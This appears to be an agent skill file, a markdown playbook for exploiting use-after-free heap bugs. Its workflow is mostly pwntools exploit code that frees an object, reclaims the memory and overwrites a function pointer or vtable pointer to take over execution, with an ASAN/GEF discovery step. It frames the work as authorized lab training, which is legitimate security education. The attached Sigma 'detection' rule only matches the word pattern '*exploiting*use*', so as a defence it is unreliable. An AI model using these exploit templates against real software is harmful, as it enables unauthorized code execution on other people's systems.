<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: exploiting-use-after-free-vulnerabilities
description: >-
  Exploit use-after-free vulnerabilities by manipulating freed heap objects, controlling reallocated memory contents, and hijacking virtual function table pointers or function pointers.
domain: cybersecurity
subdomain: binary-exploitation
tags:
  - use-after-free
  - uaf
  - dangling-pointer
  - vtable-hijack
  - heap
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1203", "T1068"]
  cwe: ["CWE-416"]
  tools: ["pwntools", "GEF", "gdb", "AddressSanitizer"]
---

# Exploiting Use After Free Vulnerabilities

## Overview

Exploit use-after-free vulnerabilities by manipulating freed heap objects, controlling reallocated memory contents, and hijacking virtual function table pointers or function pointers.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `pwntools` | Security tooling |
| `GDB with GEF` | Security tooling |
| `AddressSanitizer (for discovery)` | Security tooling |
| Target binary with identified vulnerability | Environment requirement |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |

## Workflow

### Step 1: Identify UAF with AddressSanitizer

```bash
# Compile with ASAN for UAF detection
gcc -fsanitize=address -g -o vuln_asan vuln.c
./vuln_asan  # triggers ASAN report on UAF

# GEF heap tracking
gef> heap watch malloc
gef> heap watch free
gef> run
```

### Step 2: Trigger UAF and Reallocate

```python
from pwn import *

context.binary = elf = ELF("./vuln")
p = process(elf.path)

# Step 1: Allocate object with function pointer
create(p, 0, 0x40, b"AAAA")

# Step 2: Free the object (dangling pointer remains)
delete(p, 0)

# Step 3: Allocate new object of same size to reclaim memory
# New data overlaps the freed object's function pointer
create(p, 1, 0x40, flat(
    p64(elf.symbols["win"]),  # overwrite function pointer
    b"B" * 0x38,
))

# Step 4: Use dangling pointer — calls our controlled address
use(p, 0)
p.interactive()
```

### Step 3: Vtable Hijack via UAF

```python
from pwn import *

context.binary = elf = ELF("./vuln")
p = process(elf.path)

# Spray heap with controlled vtable
fake_vtable = flat(
    p64(elf.symbols["win"]),  # virtual_func_0
    p64(0xdeadbeef),          # virtual_func_1
    p64(0xcafebabe),          # virtual_func_2
)

# Free the C++ object
delete(p, 0)

# Reallocate with fake vtable pointer
create(p, 1, 0x40, flat(
    p64(elf.bss() + 0x100),  # points to our fake vtable
))

# Write fake vtable to known address
write_mem(p, elf.bss() + 0x100, fake_vtable)

# Trigger virtual function call on dangling object
call_virtual(p, 0)
p.interactive()
```

## Detection

```yaml
title: Exploiting Use After Free Vulnerabilities Detection
id: 24c022b5-f490-463f-97f7-708ae82330e7
status: experimental
description: Detects suspicious activity related to exploiting use after free vulnerabilities techniques in binary exploitation context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*exploiting*use*"
  condition: selection
level: critical
tags:
  - attack.t1203
  - attack.t1068
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Exploiting Use After Free Vulnerabilities Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1203, T1068 |

## Verification

- [ ] UAF condition identified and reproducible
- [ ] Freed chunk successfully reallocated with controlled data
- [ ] Function pointer or vtable hijacked
- [ ] Code execution achieved via dangling pointer

## References

- [CWE-416](https://cwe.mitre.org/data/definitions/416.html)
- [how2heap UAF](https://github.com/shellphish/how2heap)
